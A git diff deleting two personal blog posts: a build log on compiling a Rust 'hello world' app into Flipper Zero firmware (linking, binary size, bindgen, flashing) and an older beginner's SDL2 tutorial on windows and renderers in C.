-to little success. The Flipper Zero has a STM32WB55RG MCU. Rust's "Embedded Rust -Book"[fn:4] uses a similar STM32F3DISCOVERY, but the Rust targets are different. -Using the latter target will net you an error: - -#+BEGIN_SRC prog -\tRUSTC\t applications/hello_world/hello_world.rs -\tLD\t .obj/f7-firmware/firmware.elf -/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: error: .obj/f7-firmware/firmware.elf uses VFP register arguments, .obj/f7-firmware//home/jakob/Code/flipperzero-firmware/applications/hello_world/hello_world.o does not -/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: failed to merge target specific data of file .obj/f7-firmware//home/jakob/Code/flipperzero-firmware/applications/hello_world/hello_world.o -#+END_SRC - -Anyway, here's the =hello_world.rs= with better syntax highlighting than what -=diff-mode= gives us: - -#+BEGIN_SRC rust -#![no_std] -#![crate_type = "staticlib"] - -use core::panic::PanicInfo; - -#[no_mangle] -pub extern "C" fn hello_world_app() -> i32 { - 0 -} - -/// This function is called on panic. -#[panic_handler] -fn panic(_info: &PanicInfo) -> ! { - loop {} -} -#+END_SRC - -This should read as Rust, more-or-less. We specify =#![no_std]=, because we won't -have =std= available in an embedded environment. We also specify =#![crate_type = -"staticlib"]= because we're targeting a C object file and don't want an error -about an absent =main= function. We're exporting a function that's going to be -called by some C code outside =rustc='s purview, so we specify =#[no_mangle]= and -=extern "C"= -- that much should be reasonably familiar to anyone who has used -Rust's FFI interface. Finally, in =no_std= land, we don't get to assume that -there's a nice =panic= handler there for us. We have to implement that ourselves. -We don't have a great way of handling it at this point, so we'll just loop -indefinitely.[fn:5] - -But before we compile with those changes, we'll need a baseline size. Building -=9d46f62be1ffa17bc8d13b68b8708ccfec17e82e= [fn:1] on Gentoo with -=gcc-arm-none-eabi-10.3-2021.10=: - -#+BEGIN_SRC prog -... -\tLD\t .obj/f7-firmware/firmware.elf - text data bss dec hex filename - 883808 1696 362723 1248227 130be3 .obj/f7-firmware/firmware.elf - -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -16361148 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -885821 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -#+END_SRC - -Note that =dist/= contains a couple of files -- =firmware.elf= is the actual linker -output, but =.dfu= is the output in the format that's flashed to the Flipper. Now, -we can confirm that our changes to the build system work as desired if we run it -without adding =applications/hello_world=: - -#+BEGIN_SRC prog -... -\tLD\t .obj/f7-firmware/firmware.elf -/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: .obj/f7-firmware//home/jakob/Code/flipperzero-firmware/applications/applications.o:(.rodata.FLIPPER_PLUGINS+0x3c): undefined reference to `hello_world_app' -collect2: error: ld returned 1 exit status -make[1]: *** [/home/jakob/Code/flipperzero-firmware/make/rules.mk:48: .obj/f7-firmware/firmware.elf] Error 1 -make[1]: Leaving directory '/home/jakob/Code/flipperzero-firmware/firmware' -make: *** [Makefile:68: firmware_all] Error 2 -#+END_SRC - -If we then add the file and compile, - -#+BEGIN_SRC prog -... -\tLD\t .obj/f7-firmware/firmware.elf - text data bss dec hex filename - 883840 1696 362691 1248227 130be3 .obj/f7-firmware/firmware.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -16361308 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -885853 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -#+END_SRC - -we can see that the impact on size (of the =.dfu=) is negligible. The overhead is -less than than 0.01%. - -** Injecting a Static Library - -For this evaluation, I didn't bother with integrating everything nicely with the -build system. I built a =staticlib= with =cargo build --release --target -thumbv7em-none-eabihf= and hard-coded it into the object list that's passed to -the linker. Hence, no diff is included here. We'll also need to augment the -=LDFLAGS= to allow for redefinitions or else we get cacophony. - -#+BEGIN_SRC prog -\tLD\t .obj/f7-firmware/firmware.elf -/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: /opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/thumb/v7e-m+fp/hard/libgcc.a(_arm_cmpdf2.o): in function `__aeabi_dcmpeq': -(.text+0xac): multiple definition of `__aeabi_dcmpeq'; ../applications/hello_world/target/thumbv7em-none-eabihf/release/libhello_world.a(compiler_builtins-50ab11bfb8346963.compiler_builtins.a2c45ff5-cgu.108.rcgu.o):/cargo/registry/src/github.com-1ecc6299db9ec823/compiler_builtins-0.1.71/src/macros.rs:335: first defined here -... -/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: /opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/thumb/v7e-m+fp/hard/libgcc.a(_arm_addsubdf3.o): in function `__floatundidf': -(.text+0x30c): multiple definition of `__aeabi_ul2d'; ../applications/hello_world/target/thumbv7em-none-eabihf/release/libhello_world.a(compiler_builtins-50ab11bfb8346963.compiler_builtins.a2c45ff5-cgu.143.rcgu.o):/cargo/registry/src/github.com-1ecc6299db9ec823/compiler_builtins-0.1.71/src/macros.rs:241: first defined here -#+END_SRC - -Once all is squared away, we have a firmware image we can measure. - -#+BEGIN_SRC prog -\tLD\t .obj/f7-firmware/firmware.elf - text data bss dec hex filename - 887640 1696 358891 1248227 130be3 .obj/f7-firmware/firmware.elf -akob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -16447736 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -889653 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -#+END_SRC - -The size impact (again, for the =.dfu=), is not as negligible. The overhead is -about 0.4%. - -Why is there a difference? The real answer follows later in the article -- qI -won't spoil it now. For, I'll leave it at "well, we can inspect the =.a= to see -that it's including seemingly redundant/irrelevant stuff." - -#+BEGIN_SRC prog -jakob@Epsilon ~/Code/flipperzero-firmware $ ar t applications/hello_world/target/thumbv7em-none-eabihf/release/libhello_world.a -hello_world-260792d958918d7e.hello_world.d3378d15-cgu.0.rcgu.o -compiler_builtins-50ab11bfb8346963.compiler_builtins.a2c45ff5-cgu.0.rcgu.o -... -absvdi2.o -absvsi2.o -absvti2.o -addvdi3.o -addvsi3.o -addvti3.o -aeabi_cdcmpeq_check_nan.o -aeabi_cfcmpeq_check_nan.o -aeabi_div0.o -aeabi_drsub.o -aeabi_frsub.o -bswapdi2.o -bswapsi2.o -clzdi2.o -... -udivmodsi4.o -udivsi3.o -umodsi3.o -apple_versioning.o -rustc_std_workspace_core-9ae03c706dab5b95.rustc_std_workspace_core.86fb1412-cgu.0.rcgu.o -core-4c81109e506dada5.core.1ad88dac-cgu.0.rcgu.o -#+END_SRC - -This is quite a bit. I had to omit about a hundred other =compiler_builtins= -objects. I came across this [[https://internals.rust-lang.org/t/rust-staticlibs-and-optimizing-for-size/5746][Rust Internals post]] from five years about using LTO -to minimize =staticlib= size. Let's give it a try... first, adding =-flto= to -=LDFLAGS=... - -#+BEGIN_SRC prog -\tLD\t .obj/f7-firmware/firmware.elf - text data bss dec hex filename - 887640 1696 358891 1248227 130be3 .obj/f7-firmware/firmware.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -16447736 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -889653 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -#+END_SRC - -No difference. Let's try with Rust: - -#+BEGIN_SRC toml -[profile.release] -lto = true -#+END_SRC - -#+BEGIN_SRC prog -\tLD\t .obj/f7-firmware/firmware.elf - text data bss dec hex filename - 887640 1696 358891 1248227 130be3 .obj/f7-firmware/firmware.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -16447736 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf -jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -889653 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu -#+END_SRC - -No difference. So we'll press with the first approach of linking in an object -file. This means we won't be able to use (at least not conveniently) a =build.rs= -to automate making bindings, but we can still do that from the command-line. - -* Binding to the Flipper API - -We'll use [[https://rust-lang.github.io/rust-bindgen/][rust-bindgen]], which allows us to parse the C/C++ header files in the -source tree and generate Rust FFI bindings automatically. We can get it by -running =cargo install bindgen=. My approach was to =cat= together all the headers -we care about run =bindgen= on that. - -#+BEGIN_SRC sh -HEADERS=" -../core/furi.h -../firmware/targets/furi_hal_include/furi_hal_version.h -../applications/dialogs/dialogs.h -../applications/gui/gui.h -../applications/gui/view_dispatcher.h -../applications/gui/modules/empty_screen.h -../lib/mlib/m-string.h" - -cat $HEADERS > ../applications/hello_world/master.h -bindgen ../applications/hello_world/master.h --ctypes-prefix ::core::ffi --use-core -- \ - $CFLAGS \ - > "../applications/hello_world/master.rs" -#+END_SRC - -Where =CFLAGS= is something I got =make= to output using a few conveniently-placed -=echo='s -- I had to trim it to just the =-D= declarations and =-I= include paths -because =bindgen= doesn't seem to like any other Clang arguments. And because we -can't use a crate to deal with the FFI types, I'm leveraging the nightly-only -=core_ffi_c= API. Our code changes somewhat: - -#+BEGIN_SRC rust -#![no_std] -#![feature(core_ffi_c)] -#![crate_type = "staticlib"] - -use core::panic::PanicInfo; - -include!("master.rs"); - -#[no_mangle] -pub extern "C" fn hello_world_app() -> i32 { - 0 -} - -/// This function is called on panic. -#[panic_handler] -fn panic(_info: &PanicInfo) -> ! { - loop {} -} -#+END_SRC - -.. surprisingly (at least, to me) the binary size doesn't change when I -re-compile with the =include!= statement. I suppose that means that either dead -code elimination is working as intended, or the code emitted by =bindgen= is just -declarations and absolutely nothing else. - -It does take a while for the compiler to stop spitting things out to my -terminal, however. - -#+BEGIN_SRC prog -... - -warning: constant `ViewDispatcherType_ViewDispatcherTypeFullscreen` should have an upper case name - --> master.rs:41909:11 - | -41909 | pub const ViewDispatcherType_ViewDispatcherTypeFullscreen: ViewDispatcherType = 2; - | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ help: convert the identifier to upper case: `VIEW_DISPATCHER_TYPE_VIEW_DISPATCHER_TYPE_FULLSCREEN` - -warning: 8304 warnings emitted -#+END_SRC - -Jesus. - -* Writing Hello World - -I chose to rewrite (most of) =applications/about/about.c=, as it seemed most -amenable to being adapted into a "hello world" program. This might have been a -good opportunity to use [[https://c2rust.com/][C2Rust]], but I didn't think it was worth learning the -tool just to save me 200 lines of code. - -#+BEGIN_SRC rust -#![no_std] -#![feature(core_ffi_c)] -#![crate_type = "staticlib"] - -use core::panic::PanicInfo; - -// Include the Rust code emitted by bindgen. -include!("master.inc"); - -/// Populate `dest` with the C string encoding of `src`. -unsafe fn write_cstr(dest: &mut [i8], src: &str) { - let mut i = 0; - for byte in src.bytes() { - // Had to use unchecked because we don't have - // `core::panicking::panic_bounds_check`. Hence, this whole function is - // `unsafe`. - ,*dest.get_unchecked_mut(i) = byte as i8; - // dest[i] = byte as i8; - i += 1; - } - dest[i] = '\0' as i8; -} - -#[no_mangle] -pub unsafe extern "C" fn hello_world_app(_p: *const core::ffi::c_void) -> i32 { - // Stack-allocated buffers for our converted C strings. - let mut buffer: [i8; 64] = [0; 64]; - let mut buffer2: [i8; 64] = [0; 64]; - - write_cstr(&mut buffer, "dialogs"); - let dialogs = core::mem::transmute::<*mut core::ffi::c_void, *mut DialogsApp>( - furi_record_open(buffer[..].as_ptr()), - ); - let message: *mut DialogMessage = dialog_message_alloc(); - - write_cstr(&mut buffer, "gui"); - let gui = core::mem::transmute::<*mut core::ffi::c_void, *mut Gui>(furi_record_open( - buffer[..].as_ptr(), - )); - let view_dispatcher: *mut ViewDispatcher = view_dispatcher_alloc(); - let empty_screen: *mut EmptyScreen = empty_screen_alloc(); - let empty_screen_index: u32 = 0; - - // draw empty screen to prevent menu flickering - view_dispatcher_add_view( - view_dispatcher, - empty_screen_index, - empty_screen_get_view(empty_screen), - ); - view_dispatcher_attach_to_gui( - view_dispatcher, - gui, - ViewDispatcherType_ViewDispatcherTypeFullscreen, - ); - view_dispatcher_switch_to_view(view_dispatcher, empty_screen_index); - - let mut screen_index = 0; - let about_screens = [unleashed_info_screen, unleashed_info_screen2]; - let about_screens_count = 2; - - loop { - if screen_index >= about_screens_count - 1 { - write_cstr(&mut buffer, "Back"); - dialog_message_set_buttons( - message, - buffer[..].as_ptr(), - core::ptr::null_mut(), - core::ptr::null_mut(), - ); - } else { - write_cstr(&mut buffer, "Back"); - write_cstr(&mut buffer2, "Next"); - dialog_message_set_buttons( - message, - buffer[..].as_ptr(), - core::ptr::null_mut(), - buffer2[..].as_ptr(), - ); - } - - // let screen_result = about_screens[screen_index](dialogs, message); - let screen_result = about_screens.get_unchecked(screen_index)(dialogs, message); - - if screen_result == DialogMessageButton_DialogMessageButtonLeft { - if screen_index <= 0 { - break; - } else { - screen_index -= 1; - } - } else if screen_result == DialogMessageButton_DialogMessageButtonRight { - if screen_index < about_screens_count { - screen_index += 1; - } - } else if screen_result == DialogMessageButton_DialogMessageButtonBack { - break; - } - } - - dialog_message_free(message); - write_cstr(&mut buffer, "dialogs"); - furi_record_close(buffer[..].as_ptr()); - - view_dispatcher_remove_view(view_dispatcher, empty_screen_index); - view_dispatcher_free(view_dispatcher); - empty_screen_free(empty_screen); - write_cstr(&mut buffer, "dialogs"); - furi_record_close(buffer[..].as_ptr()); - - 0 -} - -/// This function is called on panic. -#[panic_handler] -fn panic(_info: &PanicInfo) -> ! { - loop {} -} - -unsafe fn unleashed_info_screen( - dialogs: *mut DialogsApp, - message: *mut DialogMessage, -) -> DialogMessageButton { - let mut result: DialogMessageButton; - - let screen_header = "Hello from Rust\n"; - - let mut buffer: [i8; 64] = [0; 64]; - - write_cstr(&mut buffer, screen_header); - dialog_message_set_header( - message, - buffer[..].as_ptr(), - 0, - 0, - Align_AlignLeft, - Align_AlignTop, - ); - write_cstr(&mut buffer, screen_header); - dialog_message_set_text( - message, - buffer[..].as_ptr(), - 0, - 26, - Align_AlignLeft, - Align_AlignTop, - ); - result = dialog_message_show(dialogs, message); - dialog_message_set_header( - message, - core::ptr::null_mut(), - 0, - 0, - Align_AlignLeft, - Align_AlignTop, - ); - dialog_message_set_text( - message, - core::ptr::null_mut(), - 0, - 0, - Align_AlignLeft, - Align_AlignTop, - ); - - result -} - -unsafe fn unleashed_info_screen2( - dialogs: *mut DialogsApp, - message: *mut DialogMessage, -) -> DialogMessageButton { - let mut result: DialogMessageButton; - - let screen_header = "Hello from Rust 2\n"; - - let mut buffer: [i8; 64] = [0; 64]; - - write_cstr(&mut buffer, screen_header); - dialog_message_set_header( - message, - buffer[..].as_ptr(), - 0, - 0, - Align_AlignLeft, - Align_AlignTop, - ); - write_cstr(&mut buffer, screen_header); - dialog_message_set_text( - message, - buffer[..].as_ptr(), - 0, - 26, - Align_AlignLeft, - Align_AlignTop, - ); - result = dialog_message_show(dialogs, message); - dialog_message_set_header( - message, - core::ptr::null_mut(), - 0, - 0, - Align_AlignLeft, - Align_AlignTop, - ); - dialog_message_set_text( - message, - core::ptr::null_mut(), - 0, - 0, - Align_AlignLeft, - Align_AlignTop, - ); - - result -} -#+END_SRC - -This is perhaps the worst Rust code I've ever written, but it's at least a -starting point. - -You may notice my comment about having "to use =unchecked_get= because we don't -have =core::panicking::panic_bounds_check=." Indeed, when I naïvely decided to use -=rustc= on its own, I was [[https://github.com/rust-lang/compiler-builtins/issues/245][actually eschewing]] some important parts of =libcore=. -Right now, we're more "on our own" than we usually would be writing =no_std= code. -The rest of the snippet is wrought with unsafe transmutation of =void *= values -that are being passed across the FFI boundary, and some gross manual conversion -(=write_cstr=) between Rust and C strings because I'm missing out on the niceness -of =std='s =CString= & friends. But it works. - -... well, not without some tinkering. When I first tried to test this, I ran -into an issue that made me think my USB-C cable was bad: qFlipper was failing to -flash my firmware images, but the failure was happening while it was erasing the -internal memory -- before it could even get to sending my firmware image over -the wire. - -#+BEGIN_SRC prog -20235 [DBG] Erasing memory: 94% -20329 [DBG] Erasing memory: 95% -20423 [DBG] Erasing memory: 96% -20517 [DBG] Erasing memory: 97% -20658 [DBG] Erasing memory: 98% -20843 [REG] Device went offline: VID_0x483:PID_0xdf11 -21958 [DBG] Failed to perform control transfer: LIBUSB_ERROR_NO_DEVICE -21958 [DBG] Unable to get device status -21958 [DBG] An error has occured during erase phase -21958 [DBG] Failed to erase page -21958 [DBG] Failed to erase the memory -21958 [RCY] Firmware Download @Ellwt1n3 ERROR: Can't flash firmware: An error has occured during the operation. -21958 [DEV] Firmware install from file @Ellwt1n3 ERROR: Can't flash firmware: An error has occured during the operation. -21958 [BKD] Current operation finished with error: "Can't flash firmware: An error has occured during the operation." -26905 [APP] qFlipper exited -26924 [default] "There are still \"1\" items in the process of being created at engine destruction." -#+END_SRC - -I tried several times with several different USB-C cables, but the error -occurred consistently, so I went to the [[https://forum.flipperzero.one/t/device-disconnect-when-erasing-memory/3731/2][Flipper Zero forums to ask about it]]. -Astra was kind enough to let me know that my firmware was too big. I thought -this would mean having to golfing the code down to size, but really, no amount -of optimization was going to make that "hello world" any smaller. The firmware -image is big enough as it is,[fn:3] so I disabled a couple features I wasn't -using at the time to make room. - -#+BEGIN_SRC diff -diff --git a/applications/applications.mk b/applications/applications.mk -index baeaf4ae..8096cc08 100644 ---- a/applications/applications.mk -+++ b/applications/applications.mk -@@ -35,8 +35,8 @@ SRV_STORAGE = 1 - # Apps - SRV_DESKTOP = 1 - APP_ARCHIVE = 1 --APP_GPIO = 1 --APP_IBUTTON = 1 -+APP_GPIO = 0 -+APP_IBUTTON = 0 - APP_INFRARED = 1 - APP_LF_RFID = 1 - APP_NFC = 1 -@@ -46,16 +46,16 @@ APP_PASSPORT = 1 - APP_UPDATER = 1 - - # Custom apps --APP_UNIRFREMIX = 1 --APP_CLOCK = 1 --APP_SPECTRUM_ANALYZER = 1 -+APP_UNIRFREMIX = 0 -+APP_CLOCK = 0 -+APP_SPECTRUM_ANALYZER = 0 - - # Plugins --APP_MUSIC_PLAYER = 1 --APP_SNAKE_GAME = 1 --APP_WAV_PLAYER = 1 -+APP_MUSIC_PLAYER = 0 -+APP_SNAKE_GAME = 0 -+APP_WAV_PLAYER = 0 - APP_HELLO_WORLD = 1 --APP_TETRIS_GAME = 1 -+APP_TETRIS_GAME = 0 - - # Debug - APP_ACCESSOR = 1 -#+END_SRC - -#+CAPTION: Black Flipper Zero reading "Hello from Rust". -[[./flipper-zero-hello-world.jpg]] - -And I was finally greeted by my Flipper. - -* Conclusion - -We now have a successful proof-of-concept for running Rust code on the Flipper -Zero, even if it came at the cost losing Rust's distinctive safety features. We -also learned that we'll continue to be constrained by size limitations as we -continue to work on the firmware. - -When we revisit this project next, we will: - -1. Port these hacks over to the new =scons= build system. -2. Re-implement the parts of =libcore= necessary to leverage Rust's safety features. -3. Learn the Flipper's GUI library and develop a simple hex editor. - -I'd like to develop a POCSAG beacon and a mechanism for loading code from the SD -card rather than having everything baked into internal memory, but these are -more ambitious, so I'll shelve them for a third article. - ---- - -[fn:1] For those following along at home: I am building atop Eng1n33r's [[https://github.com/Eng1n33r/flipperzero-firmware][Unleashed]], rather than the official [[https://github.com/flipperdevices/flipperzero-firmware][flipperzero-firmware]]. - -[fn:3] My justification for this claim is this comment in the [[https://blog.flipperzero.one/new-firmware-update-system/][New Firmware Update System]] update: "a classic OTA Update is impossible for Flipper Zero. Flipper Zero's firmware is about 700KB in size and together with the Radio Stack the memory is completely exhausted. Since we don't have free space to work with, the classic OTA update won't work in our case." - -[fn:4] Which, I'll admit, I haven't actually read yet. I'd only skimmed the first chapter to get started. I'm going into this mostly blind. - -[fn:5] My understanding is that this isn't good to do in general. I could [[https://en.wikipedia.org/wiki/Halt_and_Catch_Fire_(computing)][halt]] here, but I'm purposefully delaying the inevitable use of [[https://doc.rust-lang.org/nightly/rust-by-example/unsafe/asm.html][inline assembly]]. diff --git a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png b/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png deleted file mode 100644 index 4e9a146..0000000 Binary files a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png and /dev/null differ diff --git a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org b/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org deleted file mode 100644 index 2146ce4..0000000 --- a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org +++ /dev/null @@ -1,323 +0,0 @@ -#+TITLE: SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering -#+DATE: <2016-09-14 Sun 21:02> -#+TAGS: tutorial, programming, game-development, c - - -#+BEGIN_EXPORT html -
-

This is one of my older tutorials and follows a style unlike - my current one. I also no longer hold the same claims I made about the SDL - documentation that I originally made in this article. I think it's perfectly - fine. You just need to spend some time looking around because it's not - organized like other documentation is. For that reason, I have no plans to - continue this tutorial series unless someone specifically asks for me to - continue it.

-
-#+END_EXPORT - - -SDL2 is my favorite graphics library right now. It might not be as powerful as -something like raw OpenGL, but it's simple. Simple enough that you can just -pick it up and start using it. There's a glaring issue with it, though. The -documentation is horrible. Absolutely horrible. A lot of it is unfinished, and -it doesn't look like it's getting attention any time soon. The SDL1.2 -documentation wasn't as bad, but that version of the library is vastly outdated -by today's standards. So here's my take on a tutorial for SDL - part 0x00 of a -I-don't-know-how-long-I'm-going-to-drag-this-on series. My examples are going -to be written in C, because the constructs I show here can still be used -verbatim in C++ (and probably SDL's other language bindings as well). This -tutorial will be covering the little boilerplate that SDL requires, as well as -the basics of windowing and rendering. Let's get into it. - -The first thing you have to worry about is installing and setting up SDL2.0. I -won't cover it in detail because it's something you should be able to figure out -yourself. If your operating system doesn't provide a means of package -management, you should be able to find a download on the [[https://libsdl.org/][official website]]. - -You should also figure out how to link SDL2 when you're compiling, nothing I -teach here will work if it isn't properly linked. If you're having trouble with -anything, fire up your favorite search engine or feel free to [[http://tsar-fox.com/][contact me]]. - -Alright, assuming you've successfully installed SDL, let's get to actually -programming. As with any C library, the first thing you should worry about is -including the header files. While SDL provides header files for specific -subsystems, we're not going to worry about that right now. There's a header -file that contains everything and we're going to use that for right now. - -#+BEGIN_SRC c :hl_lines 0 -#include -#+END_SRC - -Depending on how header files are organized on your system, you may have to use -this instead: - -#+BEGIN_SRC c :hl_lines 0 -#include -#+END_SRC - -That will give us function prototypes and type definitions for everything in -the SDL library, but we have to initialize SDL before we can really do anything -with it. This is actually really simple, done with a single function call. - -#+BEGIN_SRC c :hl_lines 0 -SDL_Init(SDL_INIT_VIDEO); -#+END_SRC - -=SDL_Init= takes a flag as a parameter so it knows which subsystems to -initialize. /A/ parameter. One, not several. This might be a bit confusing to -some, especially if you're not familiar with bitwise arithmetic, but -=SDL_INIT_VIDEO= is nothing more than a preprocessor macro representing some -number. =SDL_Init= interprets that number, and initializes the subsystems -associated with it. We don't write the number out in our code, though (or at -least you shouldn't). We use the macros, but there aren't macros for every -combination of subsystems you can come up with. Does this mean that SDL can only -initialize one subsystem at a time? Not at all, to combine macros and represent -multiple subsystems, you would hook them together with the [[https://en.wikipedia.org/wiki/Bitwise_operation#OR][bitwise OR operator]]. -(=|=, not =||=). For example, if we wanted to initialize SDL's video AND audio -subsystems, we would do this - -#+BEGIN_SRC c :hl_lines 0 -SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO); -#+END_SRC - -But we're not going to be working with audio just yet. - -=SDL_Init= also returns an integer value, and it's pretty important. If it's -zero, SDL was initialized properly. Great! But if SDL can't be initialized for -some reason, it will return a negative number. This is where another SDL -function comes into the picture. =SDL_GetError= takes no arguments, but will -return a string literal explaining what went wrong. So if we wanted to do some -error checking (which you always should), we could do this: - -#+BEGIN_SRC c :hl_lines 0 -if (SDL_Init(SDL_INIT_VIDEO)) { - fprintf(stderr, "Here's the error: %s\n", - SDL_GetError()); - return 1; -} -#+END_SRC - -You can pretty much do anything here to handle the error. I'm using =fprintf(3)= -for simplicity, but SDL provides more advanced logging features which I'll cover -in a later tutorial. - -In SDL, you need to be responsible and clean up after yourself. For every -function that initializes or creates something, there is a complementary -function that deinitializes or destroys it. The function to counter =SDL_Init= -is =SDL_Quit=. It takes no parameters and returns nothing, you can just call it -and be done with it. With that covered, we've learned SDL's few lines of -boilerplate code. Much more appealing than something like Direct3D, eh? If you -compile and run the program right now, nothing interesting will happen. It -initialized and deinitialized SDL (unless something went wrong), but didn't -bother creating windows or doing anything because we didn't tell it to. Let's -change that. We first have to know about two important typedefs in SDL. -*SDL_Window, and SDL_Renderer.* =SDL_Window= is self-explanatory, it's a struct -representing a window, and =SDL_Renderer= is how you would put something into a -window. Renderers in SDL are capable of hardware acceleration and vertical-sync, -which is why SDL2 is awesome and SDL1.2 is left in the dust. These are just -structs, though, they don't do anything by themselves. Let's create a window, -and capture it in a =SDL_Window= struct: - -#+BEGIN_SRC c :hl_lines 0 -SDL_Window *my_cool_window = SDL_CreateWindow("A Cool Window", - SDL_WINDOWPOS_UNDEFINED, - SDL_WINDOWPOS_UNDEFINED, - 400, 400, SDL_WINDOW_SHOWN); -#+END_SRC - -Whoa, that's a mouthful, but it isn't as complicated as it looks. The first -argument is just a title for the window; you can name it whatever you want. The -next two arguments are X and Y values for where the window should be placed on -the screen. People usually don't care about this; you can use -=SDL_WINDOWPOS_UNDEFINED= if you don't. After that are the window's width and -height. I'm choosing to make my window 400 by 400 pixels, but you can choose -whatever size works best for your program. There are ways to change it later on, -too. Finally, we get to a flag. Its usage is similar to the flag we used with -=SDL_Init=, you use a bitwise OR to combine flags. We're not doing anything -fancy just yet, though, so =SDL_WINDOW_SHOWN= on its own will suffice. It -ensures that the window will be visible, rather than minimized. - -As you can hopefully tell from the example code above, =SDL_CreateWindow= -returns a pointer of type =SDL_Window=. If a window cannot be created, though, -it will return =NULL=. You should always do error checking, so throw something -in to see if =my_cool_window= (or whatever you named your window variable) is -=NULL=. - -#+BEGIN_SRC c :hl_lines 0 -if (!my_cool_window) { - fprintf(stderr, "Window couldn't be created. %s\n", - SDL_GetError()); - return 1; -} -#+END_SRC - -There's =SDL_GetError= again! He's our friend and you should be using him every -time you do error checking. - -Remember how I said that SDL has a complementary function to destroy anything -that is created? This is no exception. =SDL_DestroyWindow= is very similar to -=SDL_Quit=, but it takes a =SDL_Window= pointer as an argument. - -#+BEGIN_SRC c :hl_lines 0 -SDL_DestroyWindow(my_cool_window); -#+END_SRC - -It's sad to see him go, but we're done so we need to free the resources. At this -point, you can compile and run the C source file. It still kinda sucks, though. -When you run it, the window pops up and immediately goes away. One useful -function is =SDL_Delay=. It might seem mundane now, but it will become quite -important when we need to cap our program's framerate. It takes a number of -milliseconds as a parameter and temporarily stops your program so that SDL and -your computer can take a short break. Alright. So when we put that in our code -(after the window creation but before the window destruction), compile, and run -it, we get this: - -#+CAPTION: A screenshot of the window on my system. -[[./window.png]] - -I'm running i3wm, so it will probably look slightly different for you, but -we've finally got a window! It still sucks, though. It doesn't do anything, -it doesn't even clear itself! Let's make it white and learn a little bit -about renderers in SDL. - -If we want to do stuff within a window, we have two options. One is to create an -=SDL_Surface= from the window and draw to the surface, which is the sucky legacy -way of doing it so we're going to pretend that I didn't mention it, or you can -create a =SDL_Renderer=, which we're going to do because it's so much more -capable. We're going to use another SDL function call to create a renderer, and -we'll capture it in a =SDL_Renderer= pointer: - -#+BEGIN_SRC c :hl_lines 0 -SDL_Renderer *my_cool_renderer; -SDL_CreateRenderer(my_cool_window, -1, - SDL_RENDERER_ACCELERATED); -if (!my_cool_renderer) { - fprintf(stderr, "There was an error %s\n", - SDL_GetError()); -} -#+END_SRC - -Alright, so clearly the first argument is the window we want to create a -renderer for. The second is more complicated. It's the index of the driver to -initialize, which you probably don't care too much about so you can just put -1 -in there to have it use the first one that's available. The last is a flag, -which you probably know so much about by now. Finally, as you can imagine, -=SDL_CreateRenderer= returns =NULL= if a renderer cannot be created. This should -all seem pretty familiar, it's the same format as creating a window - create a -struct pointer to capture it, use a function call to create it, and do some -basic error checking. Dead simple, and it just gets better from here. - -Once again, don't forget to clean up after yourself. The function to remove a -renderer when you're done with it is =SDL_DestroyRenderer=. It just takes a -=SDL_Renderer= pointer as an argument. - -Now we've got a renderer, but if we compile and run our code - the effect is -the same because we haven't used it for anything. So let's change that and -learn a little bit about drawing in SDL. - -Renderers in SDL have a color associated with them, which they use when drawing -primitive geometry like lines and quadrilaterals. It doesn't affect textures, -but you'll probably end up using primitive geometry at some point so it's good -to know. =SDL_SetRenderDrawColor= changes the aforementioned color. We're -actually not going to be 